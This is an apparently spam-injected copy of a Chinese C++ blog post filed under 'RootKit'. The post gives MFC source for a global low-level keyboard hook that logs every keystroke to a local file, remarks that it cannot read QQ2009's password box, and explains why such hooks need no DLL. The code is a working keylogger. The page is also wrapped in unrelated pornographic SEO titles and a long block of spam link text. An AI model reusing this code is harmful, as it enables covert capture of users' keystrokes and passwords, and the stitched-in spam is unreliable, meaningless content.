青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

S.l.e!ep.¢%

像打了激速一樣,以四倍的速度運轉,開心的工作
簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
posts - 1098, comments - 335, trackbacks - 0, articles - 1
  C++博客 :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

About ShutDown of Windows(三)

Posted on 2009-11-17 09:12 S.l.e!ep.¢% 閱讀(191) 評論(0)  編輯 收藏 引用 所屬分類: RootKit
接著 About ShutDown of Windows(二) ?繼續,將代碼繼續改進

HHOOK?g_Hook;

LRESULT?CALLBACK?MyKeyHook(
int?code,?WPARAM?wParam,?LPARAM?lParam)
{
#if?(_WIN32_WINNT?<?0x0400)
/*
?*?Structure?used?by?WH_KEYBOARD_LL
?
*/
typedef?
struct?tagKBDLLHOOKSTRUCT?{
????DWORD???vkCode;
????DWORD???scanCode;
????DWORD???flags;
????DWORD???time;
????DWORD???dwExtraInfo;
}?KBDLLHOOKSTRUCT,?FAR?
*LPKBDLLHOOKSTRUCT,?*PKBDLLHOOKSTRUCT;
#endif

????PKBDLLHOOKSTRUCT?kbDLLHOOK?
=?(PKBDLLHOOKSTRUCT)lParam;
????
????
const?char?*info?=?NULL;
????
????
if?(wParam?==?WM_KEYDOWN)
????????info?
=?"key?down";????
????
else?if?(wParam?==?WM_KEYUP)
????????info?
=?"key?up";
????
else?if?(wParam?==?WM_SYSKEYDOWN)
????????info?
=?"sys?key?down";????
????
else?if?(wParam?==?WM_SYSKEYUP)
????????info?
=?"sys?key?up";

????FILE
*?f?=?fopen("hook.txt",?"a+");

????CString?strLog;
????strLog.Format(
"%s?-?vkCode?[%04x],?[%c]?scanCode?[%04x]\n",?info,?kbDLLHOOK->vkCode,?kbDLLHOOK->vkCode,?kbDLLHOOK->scanCode);

????fwrite(strLog,?
1,?strLog.GetLength(),?f);
????fclose(f);

????
//?always?call?next?hook
????return?CallNextHookEx(g_Hook,?code,?wParam,?lParam);
}??????

BOOL?CHookTestDlg::OnInitDialog()
{
????CDialog::OnInitDialog();

????
//?Add?"About"?menu?item?to?system?menu.

????
//?IDM_ABOUTBOX?must?be?in?the?system?command?range.
????ASSERT((IDM_ABOUTBOX?&?0xFFF0)?==?IDM_ABOUTBOX);
????ASSERT(IDM_ABOUTBOX?
<?0xF000);

????CMenu
*?pSysMenu?=?GetSystemMenu(FALSE);
????
if?(pSysMenu?!=?NULL)
????{
????????CString?strAboutMenu;
????????strAboutMenu.LoadString(IDS_ABOUTBOX);
????????
if?(!strAboutMenu.IsEmpty())
????????{
????????????pSysMenu
->AppendMenu(MF_SEPARATOR);
????????????pSysMenu
->AppendMenu(MF_STRING,?IDM_ABOUTBOX,?strAboutMenu);
????????}
????}

????
//?Set?the?icon?for?this?dialog.??The?framework?does?this?automatically
????
//??when?the?application's?main?window?is?not?a?dialog
????SetIcon(m_hIcon,?TRUE);????????????//?Set?big?icon
????SetIcon(m_hIcon,?FALSE);????????//?Set?small?icon
????
????
//?TODO:?Add?extra?initialization?here
#ifndef?WH_KEYBOARD_LL
????
#define?WH_KEYBOARD_LL?13
#endif
????
????g_Hook?
=?SetWindowsHookEx(WH_KEYBOARD_LL,?MyKeyHook,?AfxGetApp()->m_hInstance,?0);
????
????
if(?g_Hook?==?NULL?)
????????AfxMessageBox(
"Failed?to?Set?Hook");
????
????
return?TRUE;??//?return?TRUE??unless?you?set?the?focus?to?a?control
}

已經實現了HOOK鍵盤消息(題外話:對于普通的程序確實可行,但對于QQ2009的PwdEdit顯示出來的東西是不對的,明顯QQ2009的PwdEdit對消息加密過)

用 SysCheck 工具查看,這個EXE也并沒有注入到其它進程

MSDN的解釋
WH_KEYBOARD_LL
Windows NT/2000/XP: Installs a hook procedure that monitors low-level keyboard input events. For more information, see the LowLevelKeyboardProc hook procedure.

If the input comes from a call to keybd_event, the input was "injected". However, the WH_KEYBOARD_LL hook is not injected into another process. Instead, the context switches back to the process that installed the hook and it is called in its original context. Then the context switches back to the application that generated the event.

???????? 一般情況下,全局消息鉤子要依賴于一個DLL才能夠正常工作。

但實際上不是這樣的。有某些全局鉤子可以不依賴于任何DLL而正常工作的。這些鉤子包括,WH_JOURNALPLAYBACK,WH_JOURNALRECORD,WH_KEYBOARD_LL,WH_MOUSE_LL。為什么這些鉤子可以不依賴于DLL而正常工作呢?我們可以從MSDN中得到答案,MSDN中對于這四種鉤子都這樣的描述“This hook is called in the context of the thread that installed it.”,翻譯成中文意思是鉤子函數的調用是在安裝鉤子的線程上下文中進行的,說得更明白些,意思就是這些鉤子是在哪個線程當中安裝的,其鉤子函數就在哪個線程中執行。所以使用這四種鉤子是達不到代碼注入的效果的,當然也就可以不依賴于任何DLL了。MSDN中只對個別鉤子指出了必須還是沒有必要使用DLL。



青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            亚洲区免费影片| 曰韩精品一区二区| 欧美午夜精品久久久久久久| 欧美黄色成人网| 欧美精品日韩一区| 国产精品va在线| 国产精品视频免费观看| 国产精品视频一二| 一区二区视频欧美| 1000部精品久久久久久久久| 亚洲国产视频一区| 亚洲你懂的在线视频| 久久精品麻豆| 亚洲黄网站黄| 亚洲欧美久久久久一区二区三区| 香蕉av777xxx色综合一区| 久久午夜激情| 国产精品久久福利| 在线观看一区二区精品视频| 亚洲午夜精品17c| 久久综合九色综合久99| 亚洲全黄一级网站| 亚洲欧美综合精品久久成人| 久久久综合网| 欧美午夜在线一二页| 国产一区欧美日韩| 在线亚洲观看| 欧美高清视频一区二区三区在线观看| 99国产欧美久久久精品| 久久精品国产亚洲精品| 欧美日韩中文在线观看| 亚洲电影在线播放| 久久国产精品黑丝| 99在线|亚洲一区二区| 老司机aⅴ在线精品导航| 国产精品丝袜白浆摸在线| 亚洲精品中文字幕在线观看| 久久久综合免费视频| 一区二区冒白浆视频| 欧美激情第五页| 在线精品一区| 久久岛国电影| 亚洲精品社区| 免播放器亚洲一区| 韩曰欧美视频免费观看| 欧美一区二区三区日韩视频| 在线亚洲免费视频| 欧美国产日韩一区二区在线观看| 国产一区清纯| 欧美在线视频观看| 亚洲天堂av综合网| 欧美日韩性视频在线| 99视频精品在线| 欧美激情亚洲自拍| 久久久久久国产精品mv| 国产香蕉久久精品综合网| 亚洲免费一在线| 亚洲天堂网站在线观看视频| 欧美日韩在线视频观看| 欧美剧在线观看| 西西裸体人体做爰大胆久久久| 欧美视频一区在线| 亚洲在线电影| 亚洲欧美日韩成人| 国产日本欧美一区二区| 久久国产精品黑丝| 欧美一区在线视频| 国外视频精品毛片| 免费日韩av电影| 欧美成人午夜77777| 亚洲精品国产精品国自产观看| 老司机67194精品线观看| 久久激情综合| 亚洲精品美女| av成人天堂| 国产日韩欧美三区| 久久亚洲综合色| 牛牛国产精品| 亚洲午夜精品17c| 亚洲男女自偷自拍图片另类| 国产亚洲福利| 亚洲国产色一区| 国产精品国产三级国产专播品爱网 | 国产精品99久久久久久久vr| 一本色道**综合亚洲精品蜜桃冫| 国产精品草莓在线免费观看| 久久不射电影网| 免费观看久久久4p| 亚洲视频高清| 欧美与黑人午夜性猛交久久久| 一区二区视频免费完整版观看| 亚洲国产精品va在线看黑人| 国产精品激情av在线播放| 久久久久久久波多野高潮日日| 美女精品国产| 亚洲欧美综合v| 久久伊人免费视频| 亚洲一区在线观看免费观看电影高清| 午夜久久黄色| 一本久道综合久久精品| 性久久久久久| 日韩午夜在线观看视频| 午夜免费日韩视频| 99re热这里只有精品视频| 亚洲影院色无极综合| 亚洲精品国产品国语在线app| 亚洲欧美国产日韩天堂区| 夜夜狂射影院欧美极品| 久久久久综合一区二区三区| 亚洲欧美日韩天堂一区二区| 欧美gay视频激情| 久久久久久一区二区| 国产精品久久久久免费a∨| 欧美激情乱人伦| 国产又爽又黄的激情精品视频| 亚洲国产一区在线| 欧美在线观看视频| 牛牛影视久久网| 久久婷婷久久一区二区三区| 国产精品久久久久99| 亚洲人精品午夜| 亚洲国产精品悠悠久久琪琪| 性刺激综合网| 午夜久久资源| 欧美视频一区二区三区在线观看| 欧美高清在线观看| 国内久久视频| 欧美一区在线视频| 久久精品夜色噜噜亚洲aⅴ| 国产精品户外野外| 亚洲午夜精品| 午夜精品影院| 国产精品推荐精品| 亚洲小说春色综合另类电影| 亚洲影视在线| 国产九九视频一区二区三区| 亚洲欧美不卡| 久久久国际精品| 国内在线观看一区二区三区| 欧美一级一区| 麻豆91精品| 亚洲精品123区| 欧美金8天国| 99精品欧美一区二区三区 | 日韩亚洲欧美在线观看| 欧美aa国产视频| 亚洲激情视频网| 一区二区三区精品视频| 国产精品久久久久久亚洲调教 | 久久婷婷综合激情| 伊人春色精品| 欧美激情一区二区三区在线| 99精品免费视频| 久久精品一本| 91久久线看在观草草青青| 欧美区二区三区| 午夜精品久久久久久久男人的天堂| 久久人人精品| 一区二区三区精品在线| 国产欧美一区二区三区另类精品| 久久久夜夜夜| 中文日韩在线视频| 久久人人97超碰人人澡爱香蕉| 91久久在线播放| 国产精品国产三级欧美二区| 久久久久国产精品麻豆ai换脸| 亚洲第一页中文字幕| 亚洲欧美日韩一区| 亚洲黄色性网站| 国产精品日韩二区| 暖暖成人免费视频| 亚洲私人影院在线观看| 另类av导航| 亚洲愉拍自拍另类高清精品| 影视先锋久久| 国产精品美女一区二区| 免费视频一区| 午夜精品视频一区| 日韩亚洲欧美中文三级| 蜜臀va亚洲va欧美va天堂| 亚洲一级二级在线| 久久久久久久久久久成人| 久久精品视频一| 国产嫩草一区二区三区在线观看| 久久久精品动漫| 夜夜夜久久久| 欧美激情一区二区三区高清视频| 性欧美精品高清| 日韩视频一区二区三区在线播放| 国产亚洲精品一区二区| 国产精品久久久久av免费| 欧美不卡视频| 久久爱www| 亚洲自拍偷拍视频| 999亚洲国产精| 亚洲高清av| 欧美11—12娇小xxxx| 久久精品综合网| 午夜久久tv| 亚洲欧美日韩国产一区二区三区|